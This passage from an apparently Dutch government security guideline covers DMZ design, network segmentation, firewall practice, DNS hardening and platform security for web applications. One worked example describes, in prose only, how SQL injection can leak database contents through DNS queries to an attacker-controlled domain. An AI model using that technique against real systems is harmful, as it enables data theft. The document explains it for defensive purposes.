3.3.1. Besteed veel aandacht aan het DMZ-ontwerp Een Demilitarised Zone (DMZ) is een apart stuk netwerk dat specifiek bedoeld is om webapplicaties – en andere vanaf het internet bereikbare applicaties – in onder te brengen. De DMZ vormt de afscherming tussen het internet enerzijds en het interne netwerk anderzijds. Op alle snijvlakken (internet-DMZ en DMZ-intern netwerk) staat een organisatie beperkte verkeersstromen toe, waardoor het risico op het binnendringen van het interne netwerk via het internet zo laag mogelijk wordt 15

https://www.issa.org/Downloads/Journal%20Feature.pdf

Titel

Datum


4-11-2010

Pagina

33

gehouden. Slaagt een kwaadwillende erin een server binnen de DMZ aan te vallen, dan heeft de kwaadwillende vanaf deze server alleen toegang tot andere systemen in dezelfde DMZ. De impact van een eerder beschreven probleem als server hopping (zie §3.2.2) is hierdoor een stuk lager. Een veilige inrichting van de DMZ is daarom van groot belang om te voorkomen dat kwaadwillenden via internet toegang krijgen tot het interne netwerk van de organisatie. Een aantal verschillende overwegingen moeten als input dienen voor het ontwerp van de DMZ. Enkele belangrijke vragen die hierbij aan bod moeten komen zijn: •

•

•

•

•

• •

•

• •

Welke verkeersstromen zijn nodig? Volstaat HTTP-verkeer vanaf het internet richting de webapplicatie of zijn ook koppelingen nodig vanuit de DMZ naar het interne netwerk? Gaan we compartimentering toepassen (zie §3.3.2)? Door verschillende compartimenten te creëren verkleint een organisatie de impact van een succesvolle aanval op een systeem. Welke typen applicaties willen we via de DMZ ontsluiten? Ondersteunt de DMZ alleen webapplicaties, dan bestaat er bijvoorbeeld de mogelijkheid om al het binnenkomende verkeer af te laten handelen door een reverse proxy. Als de DMZ echter ook andere diensten naar het internet ontsluit (denk aan e-mail), dan is deze mogelijkheid er wellicht niet of moet deze op een andere manier binnen de DMZ worden ingebouwd. Welke ondersteunende applicaties (bijvoorbeeld databases) hebben we nodig voor het ontsluiten van deze applicaties? De typen applicaties bepalen bijvoorbeeld hoeveel compartimenten er gecreëerd gaan worden. Als de wens bestaat om al het verkeer te filteren, moet voor elk type applicatie intelligentie binnen de DMZ worden ingebouwd. Hoe gaan we het verkeer richting deze applicaties door de DMZ routeren (zie §3.3.3)? Door standaard routepaden door de DMZ te definiëren is het mogelijk om beveiligingsmaatregelen voor elke webapplicatie af te dwingen. Waar en hoe koppelen we de DMZ aan internet? Belangrijk hierbij is bijvoorbeeld om te kijken naar de beschikbaarheid van de verbinding. Waar en hoe koppelen we de DMZ aan het interne netwerk? Hoe zorgt men bijvoorbeeld voor een goede monitoring van alle verkeer tussen de DMZ en het interne netwerk? Moeten de webapplicaties ook toegankelijk zijn vanuit ons interne netwerk (zie §3.3.4)? Zo ja, dan is het belangrijk om erover na te denken hoe dit te implementeren zonder nieuwe beveiligingsrisico’s te introduceren. Hoe regelen we het beheer van de DMZ in (welke protocollen, welke koppelingen, welke compartimenten, etcetera - zie 3.3.5)? Gaan we een dual-vendor concept implementeren (zie §3.3.6)?

Titel

Datum


4-11-2010

Pagina

34

Figuur 3-2 toont een voorbeeldinrichting van een DMZ. De DMZ heeft hierbij een centrale ingang en een centrale uitgang. Daarnaast is te zien dat de DMZ bestaat uit verschillende compartimenten die allen een andere gradatie (gekleurd bolletje met daarin een cijfer) hebben meegekregen. De komende paragrafen beschrijven deze verschillende onderdelen in meer detail.

Figuur 3-2: inrichting DMZ

3.3.2. Pas compartimentering toe Rondom de firewall(s) in de DMZ kun je segmenten of compartimenten creëren. Uitgangspunt kan hierbij zijn dat applicaties en toepassingen van een gelijk beveiligingsniveau in één gezamenlijk segment terecht komen. Zo komen bijvoorbeeld webproxies in één segment, webservers voor internetsites in één segment, webservers voor extranetten in één segment, databases in één segment, etcetera. Door deze compartimentering toe te passen, zorg je ervoor dat het compromitteren van een server of applicatie in één compartiment, geen directe gevolgen hoeft te hebben voor servers of applicaties in een ander compartiment 16. Daarnaast kun je via deze 16

De impact is uiteraard afhankelijk van de verkeersstromen die alsnog zijn toegestaan tussen de verschillende compartimenten. Zo bestaat de kans dat een kwaadwillende via een succesvol aangevallen webserver alsnog een databaseserver in een ander compartiment kan benaderen omdat de firewall beperkte databaseverbindingen vanaf de webserver richting de databaseserver toestaat.

Titel

Datum


4-11-2010

Pagina

35

compartimentering onderscheid maken in servers die wel rechtstreeks vanaf internet bereikbaar zijn (bijvoorbeeld webservers) en servers die dat niet zijn (bijvoorbeeld database servers). OPMERKING Voorkom te allen tijde dat webservers een rechtstreekse – ongefilterde verbinding hebben met het interne netwerk. Webservers die in het interne netwerk geplaatst zijn, vormen een zeer ernstig beveiligingsrisico. Webservers dienen daarom altijd via minimaal één firewall gescheiden te zijn van het interne netwerk. Het is bij de compartimentering niet alleen belangrijk om aandacht te besteden aan inkomend verkeer maar ook aan uitgaand verkeer. Veel aanvallen maken misbruik van het feit dat een webserver de mogelijkheid heeft om een verbinding met een ander systeem op te zetten via internet. Op die manier kan het bijvoorbeeld mogelijk zijn om externe scripts te injecteren (Remote File Inclusion, zie §5.2.6) of grote databestanden op te halen. Door verkeer vanaf een webserver richting het internet te blokkeren, bemoeilijk je mogelijk misbruik van een kwetsbaarheid of beperk je de schade door misbruik van deze kwetsbaarheid. VOORBEELD Veel databaseservers ondersteunen de mogelijkheid tot het uitvoeren van DNS-queries. Wanneer de webapplicatie een SQL-injectie kwetsbaarheid bevat, kunnen kwaadwillenden deze DNS-functionaliteit misbruiken voor het achterhalen van informatie. Stel bijvoorbeeld dat een kwaadwillende inzicht wil krijgen in alle gebruikersnamen uit de tabel users. Daarnaast heeft de kwaadwillende de controle over het domein uuerel.nl en kan deze alle DNS-queries richting dit domein monitoren. Doordat de webapplicatie een SQL-injectie kwetsbaarheid bevat en de databaseserver toegang tot een DNS-service heeft, kan de kwaadwillende alle gebruikersnamen (en eventueel willekeurige andere informatie) achterhalen. Het figuur hierboven toont dat de aanvaller alleen een HTTP-verbinding (80/tcp) kan opzetten met de webserver en dat de databaseserver alleen een DNS-verbinding (53/udp) richting internet kan opzetten. Deze twee verbindingen zijn echter voldoende om inzicht te krijgen in een willekeurige tabel op de databaseserver. Via SQL-injectie zorgt de aanvaller ervoor dat de database voor elk record in de users tabel een DNS-query richting het uuerel.nl domein genereert. Doordat de aanvaller queries voor user1.uuerl.nl, admin.uuerel.nl en guest.uuerel.nl voorbij ziet komen op de malafide DNS-server, weet de aanvaller dat user1, admin1 en guest de gebruikersnamen uit de users tabel zijn. Op eenzelfde

Titel

Datum


4-11-2010

Pagina

36

manier kan de aanvaller ook willekeurige andere informatie aan de database onttrekken. Een beleid waarbij vanuit het databasecompartiment geen verkeer richting het internet wordt toegestaan, zou misbruik in dit geval voorkomen hebben. Het beste kun je er dan ook voor kiezen om geen enkel verkeer vanuit de webomgeving naar andere omgevingen toe te staan. Mocht het toch absoluut noodzakelijk zijn, dan zou je ervoor moeten kiezen om dit op een gecontroleerde wijze mogelijk te maken. Denk bijvoorbeeld aan het gebruik van een proxy voor het toestaan van HTTP-verkeer vanaf een webserver richting een beperkte set systemen op internet.

3.3.3. Leg routepaden vast De vastgestelde compartimentering van de DMZ vormt de basis voor het opstellen van routepaden. Een routepad beschrijft een toegestane verkeersstroom door de DMZ. Figuur 3-2 geeft een voorbeeld van twee routepaden die de DMZ toestaat. Verkeer richting een webserver verloopt hierbij altijd via internet (rood, 1), een proxy segment (rood/oranje, 2), een tussensegment (oranje, 3) en het websegment (groen, 5). Verkeer richting een extranet volgt in grote lijnen dezelfde weg maar maakt vanaf het tussensegment (oranje, 3) eerst nog een afslag richting een authenticatieen autorisatiesegment (oranje/groen, 4) voordat dit de de webserver bereikt. Door routepaden vast te stellen, verzekert men zich ervan, dat het omzeilen van verplichte beveiligingsmechanismen niet mogelijk is. Daarnaast wordt op deze manier tevens een soort ‘template rulebase’ beschreven die de opzet van verkeersstromen bepaalt voor nieuwe webapplicaties.

3.3.4. Bepaal de toegang tot de webapplicaties vanuit het interne netwerk Veel van de webapplicaties die een organisatie ondersteunt, moeten ook bereikbaar zijn vanaf het interne netwerk. Om deze koppeling tot stand te brengen zijn er grofweg twee alternatieven: •

Routeer verkeer vanuit het interne netwerk via de internetkoppeling naar internet en vervolgens weer terug naar de eigen DMZ. Bij dit alternatief komt het erop neer dat je de webapplicaties vanuit het interne netwerk op eenzelfde manier benadert als alle andere webapplicaties op internet. Een argument tegen dit alternatief is dat het onzinnig lijkt om intern verkeer via het (externe) internet te routeren.

•

Routeer verkeer vanuit het interne netwerk rechtstreeks naar de webservers in de DMZ.

Titel

Datum


4-11-2010

Pagina

37

De keuze voor het tweede alternatief brengt een aantal beveiligingsrisico’s met zich mee. Doordat een rechtstreekse koppeling ontstaat tussen het interne netwerk en de DMZ, kan het gebeuren dat interne medewerkers mogelijke beveiligingsbeperkingen die zijn opgelegd door componenten in de DMZ (onbedoeld) omzeilen. Aangezien aanvallen op webapplicaties zeker ook intern hun oorsprong kunnen vinden, is het van belang om de vastgestelde routepaden ook voor intern verkeer te bekrachtigen. Hierdoor zal intern verkeer in grote lijnen dezelfde weg moeten volgen als internetverkeer, met als gevolg dat intern verkeer op dezelfde plek de DMZ moet binnenkomen als regulier internetverkeer (op een aparte tak op de buitenste firewall). Figuur 3-3 beschrijft de twee opties die in deze paragraaf aan bod kwamen.

Figuur 3-3: interne/externe routering van webverkeer

Merk op dat in figuur 3-3 twee firewalls de werkstations in het interne netwerk en het internet van elkaar scheiden. Wanneer de werkstations een rechtstreekse verbinding met de buitenste firewall zouden hebben, zou namelijk een nieuw beveiligingsrisico kunnen ontstaan. In dit geval zou zich namelijk maar één firewall bevinden tussen het internet en het interne netwerk waardoor eventuele kwetsbaarheden en configuratiefouten op deze firewall tot grote beveiligingsproblemen zouden leiden.

3.3.5. Scheid beheer- en productieverkeer In het DMZ-ontwerp van figuur 3-2 is een onderscheid gemaakt tussen een productiegedeelte (oranje lijnen, segmenten met bolletjes 1 tot en met 5) en een beheergedeelte

Titel

Datum


4-11-2010

Pagina

38

(grijze lijnen/zwarte bolletjes, bolletje 6). Het productiegedeelte is in feite het gedeelte van de DMZ waarop verkeer vanaf internet terecht komt. Het onderscheid is aangebracht om te voorkomen dat beheer- en productieverkeer door elkaar gaan lopen. Beheer werkt vaak via webinterfaces en door beheer toe te staan via het productiegedeelte loop je het risico dat ook de bijbehorende webinterfaces en andere beheervoorzieningen te benaderen zijn vanaf het internet. Scheiding van beheer en productie betekent dat servers minimaal twee netwerkaansluitingen krijgen: één voor aansluiting op het productiegedeelte en één voor aansluiting op het beheergedeelte. OPMERKING Het is belangrijk dat de compartimentering die is aangebracht in het productiegedeelte ook terugkomt in het beheergedeelte. Is dit niet het geval, dan kan een kwaadwillende via het beheergedeelte de compartimentering alsnog omzeilen. Het beheernetwerk kan tijdens kantooruren ondersteuning bieden voor het uitvoeren van reguliere beheerwerkzaamheden (bijvoorbeeld SSH-verbindingen opzetten met systemen). Aangezien beheerwerkzaamheden ’s nachts meestal niet plaatsvinden, kan een organisatie buiten kantooruren over dit netwerkgedeelte back-ups laten lopen zonder daarbij het productieverkeer in de weg te zitten. Een laatste belangrijk aandachtspunt is te bepalen hoe beheerders toegang krijgen tot het beheergedeelte. Hier zijn verschillende mogelijkheden voor: •

Implementeer beheerclients in het beheergedeelte die alleen te gebruiken zijn door er in een afgeschermde ruimte achter plaats te nemen. Beheer over de omgeving kan alleen plaatsvinden via deze fysiek afgeschermde beheerclients.

•

Implementeer beheerclients in het beheergedeelte die op basis van een remote interface (bijvoorbeeld Citrix of Microsoft RDP) te benaderen zijn voor een beperkte groep werkstations in het interne netwerk. Beheerders maken vanaf hun werkstation in het LAN een verbinding met de beheerclients en kunnen vervolgens via deze beheerclients het beheer over de omgeving uitvoeren.

•

Implementeer een apart beheer-LAN binnen het interne netwerk in en sta verbindingen richting het beheergedeelte alleen toe vanuit dit beheer-LAN.

Afhankelijk van de inrichting van de infrastructuur van de organisatie bestaan er uiteraard ook nog andere mogelijkheden om het beheer in te regelen.

Titel

Datum


4-11-2010

Pagina

39

3.3.6. Voer een dual-vendor concept in Door de centrale plaatsing van de firewall(s) kan een kwetsbaarheid op deze firewall(s) grote gevolgen hebben (zie §3.2.4). Om de schade bij een dergelijke kwetsbaarheid te beperken, is het aan te raden een dual-vendor concept te implementeren. Het dualvendor concept houdt in dat twee firewalls de netwerkbeveiliging in de DMZ uitvoeren en dat deze firewalls van verschillende makelij zijn. In figuur 3-2 gebruikt het productiegedeelte van de DMZ twee verschillende firewalls. Eén firewall is rechtstreeks aangesloten op internet, de andere op het interne netwerk. Zouden deze firewalls van dezelfde makelij zijn, dan zal een potentiële kwetsbaarheid ook op beide systemen aanwezig zijn. Een kwaadwillende kan hierdoor, na het compromitteren van de eerste firewall, op eenzelfde manier mogelijk ook de tweede firewall compromitteren. Door verschillende (merken) firewalls in te zetten voorkom je dit. OPMERKING Het toepassen van een dual-vendor concept hoeft niet automatisch te betekenen dat je twee typen centrale firewalls in de omgeving plaatst. Dit concept kun je bijvoorbeeld ook invullen door, naast de centraal geplaatste firewalls, ook firewalls lokaal op de machines te installeren. Tools als ipfilter, ipfw en iptables bieden hiervoor mogelijkheden. Zie §4.3.10 (‘Maak gebruik van lokale firewalls’) voor meer informatie over dit type firewalls.

3.3.7. Behoud overzicht Het is belangrijk dat beheerders overzicht houden over de verkeersstromen die de firewall toestaat. Bij nieuwe verkeersstromen moet de beheerder de bijbehorende toegangsregels efficiënt inpassen in de bestaande rulebase. Projecten moeten daarnaast een helder en gefundeerd overzicht aanleveren van de verkeersstromen die de te implementeren webapplicatie nodig heeft. Het gebruik van speciaal daarvoor ontwikkelde ‘verkeersoverzichten’ kunnen hieraan een bijdrage leveren. Een voorbeeld van een dergelijk verkeersoverzicht is weergegeven in figuur 3-4.

Titel

Datum


4-11-2010

Pagina

40

Figuur 3-4: voorbeeld verkeersoverzicht

Het verkeersoverzicht bevat ten eerste alle firewalls en servers die betrokken zijn bij het aanbieden van de webapplicatie. Dit betekent dat naast de webserver ook andere servers waarvan de webapplicatie gebruik maakt (zoals databaseservers), onderdeel uitmaken van het verkeersoverzicht. Vervolgens teken je de verkeersstromen tussen de componenten in. Hierdoor ontstaat een overzicht van de regels die op de firewalls nodig zijn om de webapplicatie te kunnen laten functioneren. Daarnaast dient men wijzigingen op de firewall gecontroleerd door te voeren. Inpassing van firewallwijzigingen in een bestaand proces van wijzigingsbeheer (change management) is daarbij zeer wenselijk. OPMERKING Nog meer voorzichtigheid is vereist bij het doorvoeren van infrastructurele wijzigingen. Het aanbrengen van bijvoorbeeld nieuwe verbindingen tussen netwerkcomponenten kan ervoor zorgen dat routepaden en compartimenteringen plotseling ongewenst wijzigen.

3.3.8. Breng fysieke scheiding aan Door veel aandacht te besteden aan de inrichting van de DMZ (zie §3.3.1) ontstaat een logische scheiding van netwerksegmenten rondom de firewall(s). Deze logische scheiding hoeft niet per definitie ook een fysieke scheiding van netwerksegmenten te betekenen. Verschillende netwerkcomponenten, servers en andere apparatuur kunnen immers wel aangesloten zijn op dezelfde switch of hub waardoor een fysieke koppeling

Titel

Datum


4-11-2010

Pagina

41

ontstaat. Door deze fysieke koppeling tussen componenten is het in sommige gevallen mogelijk om de logische segmentering van het netwerk via deze netwerkcomponenten te omzeilen. Het risico dat kwaadwillenden in staat zijn om via datalink-koppelingen (OSI17 laag 2) de netwerksegmentering (OSI laag 3) te omzeilen, is in de praktijk vrij klein. Een kleine ingreep op de belangrijkste ingangspunten van de DMZ voorkomt dit echter. In figuur 3-5 is (rechts) een voorbeeld opgenomen van een fysieke scheiding tussen twee belangrijke segmenten. Daarnaast is in het figuur ook het verschil weergegeven met een situatie waarin wel één fysiek segment bestaat (links).

Figuur 3-5: fysieke scheiding van segmenten

Een fysieke scheiding kun je ook realiseren door (reverse) proxies inline te plaatsen. Inline plaatsing houdt in dat de proxies twee interfaces krijgen: één interface voor de buitenkant en één interface voor de binnenkant. Al het verkeer van en naar de webapplicatie is in dit geval verplicht om via de proxy te lopen. Het nadeel van een dergelijke plaatsing van een proxy is dat alle applicaties via deze proxy moeten verlopen waardoor men afhankelijk is van ondersteuning van de proxy voor het specifieke type verkeer (bijvoorbeeld een HTTP-proxy voor webverkeer, een SMTPproxy voor e-mailverkeer, etcetera). De mogelijkheid tot het inline plaatsen van een proxy is dan ook zeer afhankelijk van de andere typen applicaties die de organisatie via de DMZ ontsluit. Meer details over (web)proxies kunt u terugvinden in het hoofdstuk over Web Application Firewalls (hoofdstuk 7). 17

Het OSI (Open System Interconnection) model beschrijft hoe systemen met elkaar kunnen communiceren via verschillende lagen van (netwerk) functionaliteiten. Deze communicatie is uitgewerkt in zeven verschillende lagen: (1) fysiek, (2) data link, (3) netwerk, (4) transport, (5) sessie, (6) presentatie en (7) applicatie. Er zijn diverse beschrijving van het OSI model via internet beschikbaar. Zie bijvoorbeeld: http://www.computerwoorden.nl/woorden/php/document/pdf/osi_model.pdf

Titel

Datum


4-11-2010

Pagina

42

OPMERKING Ook bij het gebruik van inline proxies is het van belang dat de twee interfaces gebruik maken van verschillende switches. Plaatst men de componenten uit de compartimenten die de proxy van elkaar scheidt in dezelfde switches, dan ontstaat alsnog hetzelfde probleem als uit figuur 3-5 (links).

3.3.9. Implementeer maatregelen tegen (D)DoS Het GOVCERT.NL whitepaper “Aanbevelingen ter bescherming tegen Denial-ofService-aanvallen” beschrijft een aantal maatregelen, dat een organisatie kan treffen om zichzelf tegen (D)DoS-aanvallen te beschermen. De maatregelen die deze whitepaper voorstelt, zijn hieronder kort samengevat: •

• • • • •

Maak gebruik van anti-spoofingmechanismen: o Unicast Reverse-Path Forwarding (uRPF). URPF controleert op een interface of een IP-pakket afkomstig is van een bron IP-adres dat volgens de routeringstabel bereikbaar is via de betreffende interface. o Bogon lists. Via bogon lists kun je IP-adressen die nog niet door IANA zijn uitgegeven blokkeren (zie ook ‘Achtergrond’ aan het einde van deze paragraaf). o Access Control Lists (ACL). Reguleren dataverkeer op basis van bijvoorbeeld IP-adres of poortnummer. Zet firewalls in. Harden systemen. Vooral het ‘tunen’ van de TCP/IP-stack kan helpen in het beveiligen tegen (D)DoS-aanvallen. Besteed aandacht aan de netwerkomgeving. Maak afspraken met (hosting) providers. Monitor de infrastructuur zodat detectie van (D)DoS-aanvallen mogelijk is.

ACHTERGROND Team Cymru, een non-profit beveiligingsorganisatie, biedt via haar website een bogon lijst aan. Deze bogon lijst bevat een overzicht van alle IPblokken die nog niet door IANA zijn uitgegeven en waarvandaan dus ook nooit verkeer afkomstig kan zijn. Een dergelijke bogon list kan als basis voor de rulebase van elke firewall gebruikt worden. De actuele lijst biedt Team Cymru aan via de volgende URL: http://www.cymru.com/Documents/bogon-list.html

3.3.10. Harden de (externe) DNS-infrastructuur Door de vitale rol die DNS speelt in het bereikbaar houden van webapplicaties, is het belangrijk dat het aspect beveiliging bij de inrichting van DNS-services voorop staat. Enkele aandachtspunten die van belang zijn bij het beveiligen van DNS:

Titel

Datum


4-11-2010

Pagina

43

•

•

• •

•

Beperk de (bron) IP-adressen die zone transfers mogen uitvoeren met de DNSserver. Alleen primaire en secundaire DNS-servers zouden hiertoe gerechtigd mogen zijn. Sta via de firewall alleen verkeer toe richting 53/udp als de grootte van de DNSantwoorden dit toestaat. Bij DNS-servers die geen gebruik maken van DNSSEC, zal de server alle DNS-verzoeken kunnen afhandelen op basis van UDP. Alleen bij zeer grote antwoorden (mogelijk als gevolg van het gebruik het DNSSEC) en zone transfers zal DNS overschakelen op het gebruik van TCP. Door 53/tcp te blokkeren in de firewall, voorkom je dat willekeurige IP-adressen in staat zijn om zone transfers uit te voeren. Maak gebruik van meerdere autoritatieve DNS-servers voor een zone. Verwijder onnodige records uit de zone. Onnodige records (bijvoorbeeld HINFOen TXT-records) zijn niet nodig en leveren een kwaadwillende alleen extra informatie. Overweeg het gebruik van DNSSEC ter bescherming tegen bepaalde DNSaanvallen.

MEER INFORMATIE Het National Institute of Standards and Technology (NIST) heeft een zeer omvangrijk document geschreven over de manier waarop men DNS kan beveiligen. Dit document kunt u vrij downloaden vanaf de website van NIST: http://csrc.nist.gov/publications/nistpubs/800-81/SP800-81.pdf

3.3.11. Harden ook de rest van de infrastructuur De vorige aanbeveling (§3.3.10) beschreef de specifieke hardening van DNS-servers. Hardening is een begrip dat bij de inrichting van webomgevingen op elk component van toepassing is. Daarom moeten ook firewalls, switches, routers en andere netwerkcomponenten deel uitmaken van het hardeningsproces. Onderstaand volgen enkele voorbeelden van mogelijke hardeningsmaatregelen op netwerkniveau: • •

• • •

Sluit beheermogelijkheden zoveel mogelijk af. Biedt webinterfaces alleen aan via beheersegmenten. Maak zoveel mogelijk gebruik van versleutelde beheermechanismen. Maak dus bijvoorbeeld gebruik van Secure Shell (SSH) in plaats van Telnet, Secure Copy (SCP) in plaats van File Transfer Protocol (FTP) en HTTPS in plaats van HTTP voor webinterfaces. Sta beheer alleen toe vanaf vooraf gedefinieerde IP-adressen. Maak gebruik van complexe wachtwoorden en/of sterke authenticatiemechanismen voor het uitvoeren van beheer op de componenten. Maak gebruik van logon banners. Een logon banner verschijnt op het moment dat een gebruiker een beheersessie opstart met een netwerkcomponent. Deze banner

Titel

Datum


4-11-2010

Pagina

44

•

•

•

•

bevat een waarschuwing die de toegangsvoorwaarden tot het systeem beschrijft. De banner kan daarnaast waarschuwen voor juridische acties wanneer de gebruiker misbruik van het systeem maakt. Harden het onderliggende besturingssysteem. Veel leveranciers leveren netwerkcomponenten in de vorm van appliances waarop weinig extra hardeningsmaatregelen mogelijk zijn. In de gevallen dat een netwerkcomponent echter niet gebaseerd is op een appliance, is het van belang dat je het onderliggende systeem ‘hardent’. Meer hiervoor kunt u vinden in hoofdstuk 4: platformbeveiliging. Besteed voldoende aandacht aan de beveiligingsconfiguratie van veelgebruikte netwerkservices en -protocollen: Simple Network Management Protocol (SNMP), Network Time Protocol (NTP), SYSLOG, Trivial FTP (TFTP), finger en routeringsprotocollen zoals Border Gateway Protocol (BGP) en Open Shortest Path First (OSPF). Schakel alle ongebruikte protocollen, services en netwerkpoorten uit. Voorbeelden van protocollen die veelal standaard zijn ingeschakeld op netwerkcomponenten maar in veel gevallen niet nodig zijn, zijn Cisco Discovery Protocol (CDP) en Spanning Tree Protocol (STP) Maak op switches gebruik van Virtual LAN’s (VLAN) en beperk de toegang tot netwerkpoorten op basis van MAC-adres (port security).

MEER INFORMATIE Via internet is een groot aantal templates en handleidingen te vinden die ingaan op het beveiligen van specifieke protocollen of services. Hieronder vindt u een kleine greep uit een aantal interessante artikelen op dit gebied: • • • •

Secure BGP Template (Team Cymru): http://www.cymru.com/Documents/secure-bgp-template.html Securing Cisco Routers (SANS/GIAC): http://www.giac.org/practical/GSEC/Nicholas_Vigil_GSEC.pdf Secure IOS Configuration Template (Team Cymru): http://www.cymru.com/Documents/secure-ios-template.html Secure Network Infrastructure and Switched Networks (SANS): http://www.sans.org/reading_room/whitepapers/basics/451.php

3.3.12. Besteed aandacht aan beschikbaarheidvraagstukken Door de belangrijke rol die het netwerk speelt als ‘onderstel’ van webapplicaties, is het van belang dat het netwerk te maken krijgt met een minimum aan storingen. Het ontwerp van het netwerk dient daarom zodanig te zijn dat deze zo min mogelijk (liefst geen) Single Points-of-Failure (SPOF) bevat. Load balancing en redundantie zijn twee technieken die een organisatie kan inzetten om de beschikbaarheid van de

Titel

Datum


4-11-2010

Pagina

45

infrastructuur te vergroten. De volgende twee paragrafen beschrijven deze twee technieken in meer detail.

3.3.12.1. Maak gebruik van load balancing technieken Load balancers kunnen verkeer voor een webapplicatie over verschillende gelijkwaardige componenten verdelen. Voor webapplicaties bestaan twee belangrijke load balancing technieken: •

Local Server Load Balancing (LSLB). Een ‘LSLB load balancer’ verdeelt verkeer lokaal (dat wil zeggen binnen hetzelfde datacenter) over verschillende webservers. Uitval van een webserver zal in dit geval niet per definitie leiden tot het niet meer beschikbaar zijn van de website doordat een andere webserver nog wel beschikbaar is.

•

Global Server Load Balancing (GSLB). Een ‘GSLB load balancer’ is een stuk complexer dan een ‘LSLB load balancer’ en heeft als doel om load balancing uit te voeren over geografisch gescheiden locaties. DNS-functionaliteit is een mechanisme om GSLB voor webapplicaties te bewerkstelligen. De ‘GSLB load balancer’ is hierbij autoritatief voor de zone waarin de webapplicatie zich bevindt en fungeert voor deze zone als DNS-server. Door verzoeken voor de zone te beantwoorden met steeds wisselende IP-adressen, komen gebruikers uit op de verschillende geografisch gescheiden locaties

Welke load balancing oplossing het meest geschikt is voor een bepaalde webapplicatie is afhankelijk van verschillende variabelen zoals het beschikbare budget, het ontwerp van het netwerk en de architectuur van de webapplicatie.

3.3.12.2. Voer centrale componenten redundant uit Centrale componenten in de infrastructuur kun je redundant uitvoeren zodat zij geen Single Point-of-Failure (SPOF) vormen. Veel netwerkcomponenten bieden standaard ondersteuning voor redundantie en bijbehorende statussynchronisatie. Componenten (op netwerkniveau) die vooral in aanmerking komen voor redundante uitvoering zijn: • • • • • •

Communicatieverbindingen Firewalls Load balancers Proxies Routers Switches

Titel

Datum


4-11-2010

Pagina

46

4.

Platformbeveiliging

Dit hoofdstuk beschrijft de beveiliging van de platformen waarvan de webapplicatie afhankelijk is. Het platform waarop een webapplicatie draait, is in de regel een besturingssysteem als Windows of Linux/UNIX-varianten. Ditzelfde geldt voor applicaties waarvan een webapplicatie gebruik maakt zoals applicatieservers en databaseservers. Dit hoofdstuk besteedt aandacht aan de kwetsbaarheden en bedreigingen die er bestaan op het gebied van platformen en geeft tevens aanbevelingen om het risico bij deze kwetsbaarheden en bedreigingen te verlagen.

4.1. Inleiding Het platform (besturingssysteem) bevindt zich tussen het netwerk en de webapplicatie. In sommige gevallen zijn de services die het platform aanbiedt rechtstreeks via internet te benaderen. Denk hierbij aan services als Secure Shell (SSH) toegang en FTP toegang. Kwetsbaarheden die zich bevinden in het platform kunnen daarom direct de beveiliging van de webapplicatie in gevaar brengen.

4.2. Mogelijke kwetsbaarheden en dreigingen Deze paragraaf beschrijft kwetsbaarheden en bedreigingen die op het gebied van het platform bestaan.

4.2.1. Kwetsbaarheden in het besturingssysteem Geen besturingssysteem is 100% veilig en er worden dan ook continu nieuwe kwetsbaarheden in besturingssysteem ontdekt en verholpen. Niet alle kwetsbaarheden hebben direct gevolgen voor servers die in gebruik zijn door webapplicaties. Dit komt voornamelijk doordat webservers in de regel slechts bereikbaar zijn op een beperkt aantal poorten (zie hoofdstuk 3). Wanneer er echter een kwetsbaarheid in het besturingssysteem aanwezig is die een kwaadwillende via de webserver kan misbruiken, dan kan dit ernstige gevolgen hebben voor alle webapplicaties die van deze server gebruik maken. ACHTERGROND Een buffer overflow is een type kwetsbaarheid. Buffer overflows in het platform kunnen door kwaadwillenden worden misbruikt om willekeurige code uit te voeren op de webserver. In sommige gevallen biedt een buffer overflow alleen mogelijkheden om de kwetsbare service te laten crashen. Het probleem bij een buffer

Titel

Datum


4-11-2010

Pagina

47

overflow is dat een kwetsbare applicatie data wil opslaan buiten de geheugenbuffer die voor deze applicatie is gereserveerd. Het gevolg hiervan is dat de applicatie geheugen in aanliggende geheugengebieden overschrijft. Een kwaadwillende kan het geheugen hierdoor mogelijk vullen met een eigen programma en dit programma vervolgens laten uitvoeren. Een buffer overflow op het platform kan vooral tot grote problemen leiden wanneer deze zich bevindt in een centraal onderdeel van het platform dat bovendien moeilijk af te schermen is voor kwaadwillenden. Hierbij kun je denken aan een kwetsbaarheid in de implementatie van TCP/IP. Uit een onderzoek van beveiligingsbedrijf Internet Security Systems (ISS) blijkt dat de tijd die leveranciers hebben om bekende beveiligingslekken te patchen steeds verder afneemt. Het is het gevolg van het feit dat kwaadwillenden steeds sneller in staat zijn om exploits 18 voor deze lekken te schrijven. ISS evalueerde in totaal 4472 lekken die in 2005 bekend werden gemaakt. Bij 3,13% van deze lekken (140) bleek binnen 24 uur na het verschijnen van het lek al exploitcode op internet beschikbaar te zijn. Na 48 uur was al voor 9,38% van de lekken (420) exploitcode beschikbaar. Zeker voor lekken die op veel servers aanwezig zijn en kunnen leiden tot het uitvoeren van willekeurige code, zullen kwaadwillenden veel moeite doen om deze uit te kunnen buiten.

4.2.2. Onveilig ingerichte beheermechanismen Het beheer van servers kan op verschillende manieren plaatsvinden. Enkele van de meest gebruikte beheermechanismen zijn: •

Consoleverbindingen. Een consoleverbinding kan normaal gesproken alleen worden gemaakt via fysieke toegang tot de server. Tegenwoordig bestaan er echter ook apparaten waarmee deze consoleverbinding via het netwerk (op basis van bijvoorbeeld Telnet of SSH) kan worden benaderd.

•

Telnet. Via telnet kan een command-line sessie worden geopend met een server. Telnet is een verouderd mechanisme dat vanwege het ontbreken van goede beveiligingsmechanismen steeds minder vaak wordt toegepast.

•

Secure Shell (SSH). Via een SSH-verbinding kun je een veilige (versleutelde) verbinding opzetten tussen een client en een server. Optioneel kan SSH gebruik maken van certificaten om wederzijdse authenticatie te laten plaatsvinden. Via SSH kun je een command-line sessie openen met een server. Het is echter ook mogelijk om andere functionaliteiten (zoals het kopiëren van bestanden via Secure

18

Een exploit is een programma waarmee een lek kan worden uitgebuit (geëxploiteerd)

Titel

Datum


4-11-2010

Pagina

48

Copy) via een SSH-verbinding te tunnelen. •

File Transfer Protocol (FTP). Via FTP kun je bestanden uitwisselen tussen een client en een server. FTP maakt gebruik van authenticatie op basis van een gebruikersnaam en wachtwoord. Deze gegevens verstuurt de FTP-client in cleartext (in onversleutelde vorm) over het netwerk. Dit laatste is één van de belangrijkste redenen dat het gebruik van FTP onveilig is.

•

Webinterface. Veel systemen bieden tegenwoordig een webinterface waarmee beheerders de belangrijkste beheeractiviteiten kunnen uitvoeren. Een dergelijke webinterface kan gebruik maken van bestaande beveiligingsmechanismen zoals versleuteling via SSL, authenticatie op basis van X.509-certificaten, etcetera.

